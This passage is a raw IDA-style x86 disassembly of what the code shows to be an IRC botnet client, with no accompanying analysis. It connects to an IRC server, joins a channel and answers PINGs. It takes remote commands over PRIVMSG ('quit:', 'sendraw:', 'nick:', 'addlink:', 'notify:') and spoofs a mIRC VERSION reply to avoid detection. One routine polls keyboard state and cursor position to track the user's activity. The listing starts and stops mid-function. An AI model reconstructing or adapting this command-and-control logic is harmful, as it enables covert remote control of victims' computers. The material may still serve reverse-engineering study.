		push	eax
		call	sub_414C2D
		mov	eax, [ebp+34h]
		imul	eax, 574h
		add	eax, [ebp+18h]
		push	2
		call	sub_414DBA

loc_407CFB:				; CODE XREF: sub_407C12+36j
					; sub_407C12+4Cj ...
		mov	eax, [ebp+34h]
		mov	ecx, [ebp+28h]
		push	offset asc_42FF68 ; "\r\n"
		lea	eax, [eax+eax*8]
		push	2
		lea	esi, [ecx+eax*4]
		pop	ebx
		call	sub_414F40
		test	eax, eax
		jnz	loc_407C4D
		mov	ecx, [ebp+34h]
		mov	edx, [ebp+28h]
		mov	eax, ecx
		imul	eax, 574h
		add	eax, [ebp+18h]
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edx+ecx*4]
		push	eax
		call	sub_414EDD
		test	eax, eax
		jg	short loc_407CFB
		pop	esi
		pop	ebx

loc_407D3F:				; CODE XREF: sub_407C12+2Ej
		pop	edi

loc_407D40:				; CODE XREF: sub_407C12+8j
		xor	eax, eax
		inc	eax
		pop	ebp
		retn	2Ch
sub_407C12	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D47	proc near		; CODE XREF: sub_407A31+33p
		mov	eax, offset loc_427D24
		call	sub_41E550
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ebx
		call	sub_4099E5
		xor	esi, esi
		lea	edi, [ebx+4]
		mov	[ebp-4], esi
		mov	[edi+4], esi
		mov	[edi+8], esi
		mov	[edi+0Ch], esi
		push	158h
		mov	byte ptr [ebp-4], 1
		call	sub_41BA91
		pop	ecx
		mov	[ebp-10h], eax
		cmp	eax, esi
		mov	byte ptr [ebp-4], 2
		jz	short loc_407D93
		mov	esi, eax
		call	sub_407431
		jmp	short loc_407D95
; ---------------------------------------------------------------------------

loc_407D93:				; CODE XREF: sub_407D47+41j
		xor	eax, eax

loc_407D95:				; CODE XREF: sub_407D47+4Aj
		mov	byte ptr [ebp-4], 1
		mov	[ebp-10h], eax
		lea	esi, [ebp-10h]
		mov	eax, edi
		call	sub_40C2E7
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_407D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_407DB9	proc near		; CODE XREF: .text:00407BD0p
		mov	eax, offset loc_427EE6
		call	sub_41E550
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		push	0FFFFFFFFh
		push	dword ptr [edi]
		call	ds:dword_429128	; WaitForSingleObject
		mov	ebx, [edi+8]
		mov	eax, [edi+0Ch]
		cmp	ebx, eax
		jz	short loc_407E10

loc_407DDD:				; CODE XREF: sub_407DB9+55j
		lea	eax, [edi+4]
		call	sub_408AF0
		cmp	eax, 1
		jbe	short loc_407E10
		mov	esi, [ebx]
		cmp	dword ptr [esi+48h], 0
		jg	short loc_407E08
		call	sub_4151B4
		push	ebx
		lea	ebx, [ebp-10h]
		lea	esi, [edi+4]
		call	sub_408B03
		mov	ebx, [edi+8]
		jmp	short loc_407E0B
; ---------------------------------------------------------------------------

loc_407E08:				; CODE XREF: sub_407DB9+37j
		add	ebx, 4

loc_407E0B:				; CODE XREF: sub_407DB9+4Dj
		cmp	ebx, [edi+0Ch]
		jnz	short loc_407DDD

loc_407E10:				; CODE XREF: sub_407DB9+22j
					; sub_407DB9+2Fj
		mov	esi, [edi+8]
		cmp	esi, [edi+0Ch]
		jz	short loc_407E8F

loc_407E18:				; CODE XREF: sub_407DB9+75j
		mov	eax, [ebp+8]
		mov	ebx, [esi]
		call	sub_41520F
		test	eax, eax
		jnz	short loc_407E4F
		mov	eax, [edi+0Ch]
		add	esi, 4
		cmp	esi, eax
		jnz	short loc_407E18
		push	158h
		call	sub_41BA91
		pop	ecx
		mov	[ebp-10h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_407E5B
		mov	esi, eax
		call	sub_407431
		jmp	short loc_407E5D
; ---------------------------------------------------------------------------

loc_407E4F:				; CODE XREF: sub_407DB9+6Bj
		push	dword ptr [edi]
		call	ds:dword_429138	; ReleaseMutex
		mov	eax, [esi]
		jmp	short loc_407E8F
; ---------------------------------------------------------------------------

loc_407E5B:				; CODE XREF: sub_407DB9+8Bj
		xor	eax, eax

loc_407E5D:				; CODE XREF: sub_407DB9+94j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[ebp-10h], eax
		lea	eax, [edi+4]
		lea	esi, [ebp-10h]
		call	sub_40C2E7
		mov	ecx, [edi+0Ch]
		mov	eax, [ebp+8]
		sub	ecx, 4
		mov	ebx, [ecx]
		call	sub_41520F
		push	dword ptr [edi]
		call	ds:dword_429138	; ReleaseMutex
		mov	edi, [edi+0Ch]
		sub	edi, 4
		mov	eax, [edi]

loc_407E8F:				; CODE XREF: sub_407DB9+5Dj
					; sub_407DB9+A0j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_407DB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_407EA0	proc near		; CODE XREF: sub_4140D0+169p

arg_0		= dword	ptr  4

		sub	eax, [esp+arg_0]
		sar	eax, 2
		shl	eax, 2
		push	eax
		push	[esp+4+arg_0]
		sub	ecx, eax
		push	ecx
		call	sub_41BFA0
		add	esp, 0Ch
		retn
sub_407EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407EBB	proc near		; CODE XREF: sub_427FA5+6p
		or	dword ptr [edi+0Ch], 0FFFFFFFFh
		xor	eax, eax
		push	esi
		lea	esi, [edi+10h]
		mov	[edi+4], eax
		mov	dword ptr [edi], offset	off_430230
		mov	[esi], eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		call	sub_416B0E
		mov	esi, edi
		call	sub_416AC4
		mov	eax, edi
		pop	esi
		retn
sub_407EBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407EE6	proc near		; DATA XREF: .text:off_430230o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp+var_4], ecx
		xor	ebx, ebx

loc_407EF6:				; CODE XREF: sub_407EE6+63j
		xor	esi, esi

loc_407EF8:				; CODE XREF: sub_407EE6+24j
		push	esi
		call	ds:dword_429234	; GetAsyncKeyState
		test	al, 1
		jnz	short loc_407F0E
		inc	esi
		cmp	esi, 100h
		jb	short loc_407EF8
		jmp	short loc_407F19
; ---------------------------------------------------------------------------

loc_407F0E:				; CODE XREF: sub_407EE6+1Bj
		mov	esi, [ebp+var_4]
		add	esi, 10h
		call	sub_416B0E

loc_407F19:				; CODE XREF: sub_407EE6+26j
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_429238	; GetCursorPos
		cmp	[ebp+var_C], edi
		jz	short loc_407F38
		cmp	[ebp+var_8], ebx
		jz	short loc_407F38
		mov	esi, [ebp+var_4]
		add	esi, 10h
		call	sub_416B0E

loc_407F38:				; CODE XREF: sub_407EE6+40j
					; sub_407EE6+45j
		mov	edi, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		push	3E8h
		call	ds:dword_429084	; Sleep
		jmp	short loc_407EF6
sub_407EE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F4B	proc near		; CODE XREF: sub_427FBD+5p
		xor	ecx, ecx
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn
sub_407F4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F57	proc near		; CODE XREF: sub_40F423+ACp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	0FFFFFFFFh
		push	ds:dword_438150
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, [esp+4+arg_0]
		lea	esi, [esp+4+arg_4]
		call	sub_413F72
		push	ds:dword_438150
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		retn	8
sub_407F57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F83	proc near		; CODE XREF: sub_40818D+1Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	0FFFFFFFFh
		push	ds:dword_438150
		mov	esi, eax
		call	ds:dword_429128	; WaitForSingleObject
		mov	ecx, [esi+8]
		mov	eax, [esi+4]
		jmp	short loc_407FAA
; ---------------------------------------------------------------------------

loc_407FA0:				; CODE XREF: sub_407F83+29j
		mov	edx, [eax]
		cmp	edx, [ebp+arg_0]
		jz	short loc_407FAE
		add	eax, 4

loc_407FAA:				; CODE XREF: sub_407F83+1Bj
		cmp	eax, ecx
		jnz	short loc_407FA0

loc_407FAE:				; CODE XREF: sub_407F83+22j
		push	eax
		lea	ebx, [ebp+arg_0]
		call	sub_408B03
		push	ds:dword_438150
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_407F83	endp


; =============== S U B	R O U T	I N E =======================================



sub_407FC9	proc near		; CODE XREF: sub_40F3A7+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	0FFFFFFFFh
		push	ds:dword_438150
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, edi
		xor	esi, esi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_408002

loc_407FE5:				; CODE XREF: sub_407FC9+37j
		mov	eax, [edi+4]
		push	[esp+4+arg_0]
		lea	eax, [eax+esi*4]
		mov	eax, [eax]
		call	sub_408A3E
		mov	eax, edi
		inc	esi
		call	sub_408AF0
		cmp	esi, eax
		jb	short loc_407FE5

loc_408002:				; CODE XREF: sub_407FC9+1Aj
		push	ds:dword_438150
		call	ds:dword_429138	; ReleaseMutex
		pop	esi
		retn	4
sub_407FC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_408012	proc near		; CODE XREF: sub_404E2C+3Ep
					; sub_40F3E7+1Ap ...

arg_0		= dword	ptr  4

		push	edi
		push	0FFFFFFFFh
		push	ds:dword_438150
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ebx
		xor	edi, edi
		call	sub_408AF0
		test	eax, eax
		jbe	short loc_40804D
		push	esi

loc_40802F:				; CODE XREF: sub_408012+38j
		mov	eax, [ebx+4]
		push	[esp+8+arg_0]
		lea	eax, [eax+edi*4]
		mov	esi, [eax]
		call	sub_408A6A
		mov	eax, ebx
		inc	edi
		call	sub_408AF0
		cmp	edi, eax
		jb	short loc_40802F
		pop	esi

loc_40804D:				; CODE XREF: sub_408012+1Aj
		push	ds:dword_438150
		call	ds:dword_429138	; ReleaseMutex
		pop	edi
		retn	4
sub_408012	endp


; =============== S U B	R O U T	I N E =======================================



sub_40805D	proc near		; CODE XREF: sub_40F423+9Dp
		mov	eax, offset loc_427A2D
		call	sub_41E550
		push	ebx
		mov	ebx, [ebp+8]
		and	dword ptr [ebx+4], 0
		or	dword ptr [ebx+0Ch], 0FFFFFFFFh
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0
		lea	esi, [ebx+470h]
		mov	dword ptr [ebx], offset	off_43023C
		call	sub_414878
		lea	eax, [ebx+9E4h]
		call	sub_414E89
		lea	esi, [ebx+0A08h]
		call	sub_414878
		mov	edi, 400h
		lea	esi, [ebx+9E4h]
		call	sub_414EC6
		mov	esi, 100h
		push	esi
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebx+20h]
		push	eax
		call	sub_41C5A0
		push	40h
		push	dword ptr [ebp+14h]
		lea	eax, [ebx+122h]
		push	eax
		call	sub_41C5A0
		push	20h
		push	dword ptr [ebp+18h]
		lea	eax, [ebx+162h]
		push	eax
		call	sub_41C5A0
		push	20h
		push	dword ptr [ebp+1Ch]
		lea	eax, [ebx+1A2h]
		push	eax
		call	sub_41C5A0
		push	40h
		push	dword ptr [ebp+20h]
		lea	eax, [ebx+1E2h]
		push	eax
		call	sub_41C5A0
		push	esi
		push	dword ptr [ebp+24h]
		lea	eax, [ebx+262h]
		push	eax
		call	sub_41C5A0
		add	esp, 48h
		push	dword ptr [ebp+1Ch]
		lea	edi, [ebx+1C2h]
		call	sub_40892A
		push	dword ptr [ebp+20h]
		lea	edi, [ebx+222h]
		call	sub_40892A
		mov	ax, [ebp+10h]
		mov	[ebx+120h], ax
		xor	eax, eax
		mov	esi, ebx
		mov	[ebx+464h], eax
		mov	[ebx+1Ch], eax
		mov	[ebx+468h], eax
		mov	[ebx+46Ch], eax
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	20h
sub_40805D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408171	proc near		; DATA XREF: .text:00430240o

arg_0		= byte ptr  4

		push	edi
		mov	edi, ecx
		call	sub_40818D
		test	[esp+4+arg_0], 1
		jz	short loc_408187
		push	edi
		call	sub_41C7B8
		pop	ecx

loc_408187:				; CODE XREF: sub_408171+Dj
		mov	eax, edi
		pop	edi
		retn	4
sub_408171	endp


; =============== S U B	R O U T	I N E =======================================



sub_40818D	proc near		; CODE XREF: sub_408171+3p
		push	esi
		push	0FFFFFFFFh
		mov	dword ptr [edi], offset	off_43023C
		push	ds:dword_438150
		call	ds:dword_429128	; WaitForSingleObject
		push	edi
		mov	eax, offset dword_438154
		call	sub_407F83
		push	ds:dword_438150
		call	ds:dword_429138	; ReleaseMutex
		push	3
		lea	eax, [edi+470h]
		call	sub_414D44
		push	3
		lea	eax, [edi+0A08h]
		call	sub_414D44
		lea	esi, [edi+9E4h]
		call	sub_414EA3
		mov	ecx, edi
		pop	esi
		jmp	sub_416AA6
sub_40818D	endp

; ---------------------------------------------------------------------------

loc_4081E6:				; DATA XREF: .text:off_43023Co
		mov	eax, offset loc_427F40
		call	sub_41E550
		sub	esp, 0DF0h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+0A08h]
		xor	ecx, ecx
		inc	ecx
		mov	eax, esi
		mov	[ebp-10h], edi
		mov	[ebp-28h], esi
		call	sub_4148AA
		push	8
		pop	ebx
		call	sub_414AE0
		mov	ax, 71h
		mov	ecx, esi
		call	sub_414997
		lea	esi, [ebp-44h]
		call	sub_405E63
		push	offset aNull_1	; "null"
		push	6
		xor	ebx, ebx
		push	71h
		mov	eax, esi
		mov	[ebp-4], ebx
		call	sub_405EF4
		mov	eax, [ebp-28h]
		push	1
		call	sub_414A0C
		lea	esi, [edi+20h]
		mov	[ebp-38h], esi
		jmp	short loc_408274
; ---------------------------------------------------------------------------

loc_408253:				; CODE XREF: .text:00408288j
		push	1388h
		call	ds:dword_429084	; Sleep
		mov	eax, [edi+468h]
		cmp	eax, 3
		jnb	loc_40890F
		inc	eax
		mov	[edi+468h], eax

loc_408274:				; CODE XREF: .text:00408251j
		xor	eax, eax
		mov	ax, [edi+120h]
		push	eax
		mov	eax, edi
		push	esi
		call	sub_408A8C
		test	eax, eax
		jz	short loc_408253
		mov	eax, [edi+8DCh]
		mov	[ebp-5Ch], eax
		mov	eax, [edi+0E74h]
		mov	dword ptr [ebp-3Ch], 1
		mov	[ebp-54h], ebx
		mov	[ebp-50h], ebx
		mov	[ebp-4Ch], ebx
		mov	[ebp-58h], eax
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------

loc_4082AE:				; CODE XREF: .text:004087ECj
					; .text:0040886Dj ...
		mov	edi, [ebp-10h]

loc_4082B1:				; CODE XREF: .text:004082ACj
					; .text:004082D0j ...
		xor	esi, esi
		push	esi
		push	0FFFFFFFFh
		push	esi
		lea	eax, [ebp-5Ch]
		push	eax
		xor	eax, eax
		cmp	[ebp-3Ch], esi
		setnz	al
		inc	eax
		push	eax
		call	ds:dword_4292CC	; WSAWaitForMultipleEvents
		cmp	eax, 102h
		jz	short loc_4082B1
		cmp	eax, esi
		jnz	loc_408872
		lea	ebx, [edi+470h]
		lea	eax, [ebp-88h]
		push	eax
		mov	edi, ebx
		mov	[ebp-18h], ebx
		call	sub_414C04
		test	byte ptr [ebp-88h], 1
		mov	esi, [ebp-10h]
		jz	loc_408782
		lea	edi, [esi+9E4h]
		push	ebx
		mov	[ebp-30h], edi
		call	sub_414EDD
		test	eax, eax
		jle	loc_408782
		jmp	loc_408756
; ---------------------------------------------------------------------------

loc_40831D:				; CODE XREF: .text:00408768j
		mov	ecx, [ebp-30h]
		mov	eax, [ecx]
		xor	ebx, ebx
		cmp	byte ptr [eax],	3Ah
		mov	[ebp-1Ch], ebx
		mov	[ebp-24h], ebx
		mov	[ebp-34h], ebx
		jnz	short loc_40833B
		mov	[eax], bl
		mov	edi, [ecx]
		mov	[ebp-2Ch], edi
		jmp	short loc_40834D
; ---------------------------------------------------------------------------

loc_40833B:				; CODE XREF: .text:00408330j
		push	offset asc_43015C ; ":"
		push	eax
		call	sub_41CE46
		pop	ecx
		pop	ecx
		mov	[ebp-2Ch], eax
		mov	edi, eax

loc_40834D:				; CODE XREF: .text:00408339j
		cmp	edi, ebx
		jz	loc_408756
		mov	esi, offset asc_42FFF4 ; " "
		push	esi
		push	edi
		call	sub_41C350
		pop	ecx
		lea	eax, [eax+edi+1]
		push	eax
		call	sub_41CE46
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp-20h], eax
		jz	short loc_408389
		push	esi
		push	0
		call	sub_41CE46
		pop	ecx
		pop	ecx
		mov	[ebp-1Ch], eax
		mov	edi, offset aNull_2 ; "(null)"
		jmp	short loc_408391
; ---------------------------------------------------------------------------

loc_408389:				; CODE XREF: .text:00408373j
		mov	edi, offset aNull_2 ; "(null)"
		mov	[ebp-20h], edi

loc_408391:				; CODE XREF: .text:00408387j
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_4083A6
		push	esi
		push	0
		call	sub_41CE46
		pop	ecx
		pop	ecx
		mov	[ebp-24h], eax
		jmp	short loc_4083A9
; ---------------------------------------------------------------------------

loc_4083A6:				; CODE XREF: .text:00408395j
		mov	[ebp-1Ch], edi

loc_4083A9:				; CODE XREF: .text:004083A4j
		mov	esi, [ebp-24h]
		test	esi, esi
		jz	short loc_4083C2
		push	esi
		call	sub_41C350
		lea	eax, [eax+esi+2]
		pop	ecx
		mov	[ebp-14h], eax
		mov	ebx, eax
		jmp	short loc_4083C5
; ---------------------------------------------------------------------------

loc_4083C2:				; CODE XREF: .text:004083AEj
		mov	[ebp-24h], edi

loc_4083C5:				; CODE XREF: .text:004083C0j
		test	ebx, ebx
		jnz	short loc_4083CE
		mov	[ebp-14h], edi
		mov	ebx, edi

loc_4083CE:				; CODE XREF: .text:004083C7j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_40841C
		push	400h
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-0DFCh]
		push	eax
		call	sub_41C5A0
		lea	eax, [ebp-0DFCh]
		push	offset asc_43036C ; "!"
		push	eax
		call	sub_41CE46
		add	esp, 14h
		test	eax, eax
		mov	[ebp-34h], eax
		jz	short loc_40841C
		push	offset a@	; "@"
		push	0
		call	sub_41CE46
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40841C
		push	eax
		call	sub_41C350
		pop	ecx

loc_40841C:				; CODE XREF: .text:004083D2j
					; .text:00408401j ...
		push	offset a376	; "376"
		push	dword ptr [ebp-1Ch]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40847A
		push	offset a422	; "422"
		push	dword ptr [ebp-1Ch]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40847A
		push	offset a433	; "433"
		push	dword ptr [ebp-1Ch]
		call	sub_41C730
		test	eax, eax
		mov	esi, [ebp-10h]
		pop	ecx
		pop	ecx
		jnz	short loc_40849C
		lea	eax, [esi+162h]
		lea	edi, [esi+182h]
		push	eax
		call	sub_40892A
		mov	edi, [ebp-18h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		call	sub_414CA6
		jmp	short loc_40849A
; ---------------------------------------------------------------------------

loc_40847A:				; CODE XREF: .text:0040842Dj
					; .text:00408440j
		mov	eax, [ebp-10h]
		mov	edi, [ebp-18h]
		mov	dword ptr [eax+10h], 1
		add	eax, 122h
		push	eax
		push	offset aJoinS	; "JOIN	%s\r\n"
		call	sub_414CA6
		mov	esi, [ebp-10h]

loc_40849A:				; CODE XREF: .text:00408478j
		pop	ecx
		pop	ecx

loc_40849C:				; CODE XREF: .text:00408456j
		push	offset aPing	; "PING	"
		push	dword ptr [ebp-2Ch]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4084C3
		push	dword ptr [ebp-20h]
		mov	edi, [ebp-18h]
		push	offset aPongS	; "PONG	:%s\r\n"
		call	sub_414CA6
		pop	ecx
		pop	ecx
		jmp	short loc_4084FB
; ---------------------------------------------------------------------------

loc_4084C3:				; CODE XREF: .text:004084ADj
		push	offset aError	; "ERROR "
		push	dword ptr [ebp-2Ch]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4084FB
		mov	eax, [ebp-18h]
		xor	edi, edi
		push	2
		mov	[esi+14h], edi
		mov	[esi+10h], edi
		call	sub_414DBA
		mov	dword ptr [ebp-4Ch], 1388h
		call	ds:dword_4290A8	; GetTickCount
		mov	[ebp-54h], eax
		mov	[ebp-50h], edi

loc_4084FB:				; CODE XREF: .text:004084C1j
					; .text:004084D4j
		push	offset aPrivmsg	; "PRIVMSG"
		push	dword ptr [ebp-1Ch]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4086E9
		mov	eax, [ebp-20h]
		lea	ecx, [esi+262h]
		call	loc_416FDE
		test	eax, eax
		jz	loc_4086E9
		mov	edi, offset aQuit ; "quit:"
		push	edi
		call	sub_41C350
		dec	eax
		push	eax
		push	edi
		push	ebx
		call	sub_41D5B0
		add	esp, 10h
		test	eax, eax
		jz	loc_408900
		mov	edi, offset aSendraw ; "sendraw:"
		push	edi
		call	sub_41C350
		dec	eax
		push	eax
		push	edi
		push	ebx
		call	sub_41D5B0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408580
		push	edi
		call	sub_41C350
		mov	edi, [ebp-18h]
		add	ebx, eax
		push	ebx
		push	offset aS_1	; "%s\r\n"
		call	sub_414CA6
		add	esp, 0Ch
		jmp	loc_4086E9
; ---------------------------------------------------------------------------

loc_408580:				; CODE XREF: .text:00408560j
		mov	edi, offset aNick ; "nick:"
		push	edi
		call	sub_41C350
		dec	eax
		push	eax
		push	edi
		push	ebx
		call	sub_41D5B0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4085DE
		push	edi
		call	sub_41C350
		add	ebx, eax
		mov	[ebp-14h], ebx
		push	20h
		push	dword ptr [ebp-14h]
		lea	ebx, [esi+162h]
		push	ebx
		call	sub_41C5A0
		add	esp, 10h
		lea	edi, [esi+182h]
		push	ebx
		call	sub_40892A
		mov	edi, [ebp-18h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		call	sub_414CA6
		pop	ecx
		pop	ecx

loc_4085D6:				; CODE XREF: .text:004086B0j
		mov	ebx, [ebp-14h]
		jmp	loc_4086E9
; ---------------------------------------------------------------------------

loc_4085DE:				; CODE XREF: .text:00408599j
		mov	edi, offset aAddlink ; "addlink:"
		push	edi
		call	sub_41C350
		dec	eax
		push	eax
		push	edi
		push	ebx
		call	sub_41D5B0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40860E
		push	edi
		call	sub_41C350
		add	ebx, eax
		push	ebx
		call	sub_408F96
		pop	ecx
		pop	ecx
		jmp	loc_4086E9
; ---------------------------------------------------------------------------

loc_40860E:				; CODE XREF: .text:004085F7j
		mov	edi, offset aNotify ; "notify:"
		push	edi
		call	sub_41C350
		dec	eax
		push	eax
		push	edi
		push	ebx
		call	sub_41D5B0
		add	esp, 10h
		test	eax, eax
		jnz	loc_4086B5
		push	edi
		call	sub_41C350
		add	ebx, eax
		mov	edi, 100h
		mov	[ebp-14h], ebx
		push	edi
		push	dword ptr [ebp-14h]
		lea	ebx, [esi+362h]
		push	ebx
		call	sub_41C5A0
		push	offset aThis	; "this"
		push	ebx
		call	sub_426D1E
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40868F
		mov	ecx, [ebp-24h]
		mov	al, [ecx]
		cmp	al, 26h
		jz	short loc_40868B
		cmp	al, 23h
		jz	short loc_40868B
		cmp	al, 21h
		jz	short loc_40868B
		cmp	al, 2Bh
		jz	short loc_40868B
		cmp	al, 2Eh
		jz	short loc_40868B
		cmp	al, 7Eh
		jz	short loc_40868B
		push	edi
		push	dword ptr [ebp-34h]

loc_408680:				; CODE XREF: .text:0040868Dj
		push	ebx
		call	sub_41C5A0
		add	esp, 0Ch
		jmp	short loc_4086A6
; ---------------------------------------------------------------------------

loc_40868B:				; CODE XREF: .text:00408666j
					; .text:0040866Aj ...
		push	edi
		push	ecx
		jmp	short loc_408680
; ---------------------------------------------------------------------------

loc_40868F:				; CODE XREF: .text:0040865Dj
		push	offset off_4302DC
		push	ebx
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4086A6
		and	[esi+464h], eax

loc_4086A6:				; CODE XREF: .text:00408689j
					; .text:0040869Ej
		mov	dword ptr [esi+464h], 1
		jmp	loc_4085D6
; ---------------------------------------------------------------------------

loc_4086B5:				; CODE XREF: .text:00408627j
		push	18h
		call	sub_41BA91
		pop	ecx
		mov	[ebp-24h], eax
		test	eax, eax
		mov	byte ptr [ebp-4], 1
		jz	short loc_4086D3
		push	ebx
		push	eax
		call	sub_411299
		mov	esi, eax
		jmp	short loc_4086D5
; ---------------------------------------------------------------------------

loc_4086D3:				; CODE XREF: .text:004086C6j
		xor	esi, esi

loc_4086D5:				; CODE XREF: .text:004086D1j
		mov	byte ptr [ebp-4], 0
		call	sub_416AC4
		push	esi
		mov	edi, offset dword_4381B8
		call	sub_4138D7

loc_4086E9:				; CODE XREF: .text:0040850Cj
					; .text:00408522j ...
		cmp	byte ptr [ebx],	1
		jnz	short loc_408756
		push	ebx
		call	sub_41C350
		cmp	byte ptr [eax+ebx-1], 1
		pop	ecx
		jnz	short loc_408756
		push	ebx
		call	sub_41C350
		dec	eax
		push	eax
		lea	eax, [ebx+1]
		push	eax
		lea	eax, [ebp-488h]
		push	eax
		call	sub_41C5A0
		push	ebx
		call	sub_41C350
		lea	ecx, [ebp-488h]
		dec	ecx
		dec	ecx
		mov	byte ptr [eax+ecx], 0
		lea	eax, [ebp-488h]
		push	offset aVersion	; "VERSION"
		push	eax
		call	sub_41C730
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_408756
		mov	edi, [ebp-18h]
		push	offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
		push	dword ptr [ebp-34h]
		push	offset dword_4302A0
		call	sub_414CA6
		add	esp, 0Ch

loc_408756:				; CODE XREF: .text:00408318j
					; .text:0040834Fj ...
		mov	esi, [ebp-30h]
		push	offset asc_42FF68 ; "\r\n"
		push	2
		pop	ebx
		call	sub_414F40
		test	eax, eax
		jnz	loc_40831D
		push	dword ptr [ebp-18h]
		mov	edi, esi
		call	sub_414EDD
		test	eax, eax
		jg	short loc_408756
		mov	esi, [ebp-10h]
		mov	ebx, [ebp-18h]

loc_408782:				; CODE XREF: .text:004082FBj
					; .text:00408312j
		test	byte ptr [ebp-88h], 2
		jz	short loc_4087D9
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_4087D9
		lea	eax, [esi+222h]
		push	eax
		push	dword ptr [ebp-38h]
		lea	eax, [esi+1C2h]
		push	eax
		push	offset aUserSSS	; "USER	%s \"\"	\"%s\" :%s\r\n"
		mov	edi, ebx
		call	sub_414CA6
		add	esp, 10h
		lea	eax, [esi+162h]
		lea	edi, [esi+182h]
		push	eax
		call	sub_40892A
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		mov	edi, ebx
		call	sub_414CA6
		pop	ecx
		pop	ecx
		mov	dword ptr [esi+18h], 1

loc_4087D9:				; CODE XREF: .text:00408789j
					; .text:0040878Fj
		test	byte ptr [ebp-88h], 20h
		jnz	short loc_4087F5
		lea	eax, [ebp-54h]
		call	sub_416B46
		test	eax, eax
		jz	loc_4082AE
		mov	esi, [ebp-10h]

loc_4087F5:				; CODE XREF: .text:004087E0j
		xor	ecx, ecx
		lea	eax, [esi+46Ch]
		inc	dword ptr [eax]
		cmp	dword ptr [eax], 5
		mov	[ebp-4Ch], ecx
		mov	[esi+14h], ecx
		mov	[esi+10h], ecx
		jnb	loc_40890F
		cmp	[esi+1Ch], ecx
		jnz	loc_40890F
		push	0EA60h
		call	ds:dword_429084	; Sleep
		xor	eax, eax
		mov	ax, [esi+120h]
		push	eax
		mov	eax, esi
		jmp	short loc_408861
; ---------------------------------------------------------------------------

loc_408833:				; CODE XREF: .text:0040886Bj
		push	1388h
		call	ds:dword_429084	; Sleep
		mov	eax, [ebp-10h]
		mov	ecx, [eax+468h]
		cmp	ecx, 3
		jnb	loc_40890F
		inc	ecx
		mov	[eax+468h], ecx
		xor	ecx, ecx
		mov	cx, [eax+120h]
		push	ecx

loc_408861:				; CODE XREF: .text:00408831j
		push	dword ptr [ebp-38h]
		call	sub_408A8C
		test	eax, eax
		jz	short loc_408833
		jmp	loc_4082AE
; ---------------------------------------------------------------------------

loc_408872:				; CODE XREF: .text:004082D4j
		cmp	eax, 1
		jnz	loc_4082B1
		mov	edi, [ebp-28h]
		lea	eax, [ebp-88h]
		push	eax
		call	sub_414C04
		test	byte ptr [ebp-88h], 8
		jz	loc_4082AE
		lea	esi, [ebp-9FCh]
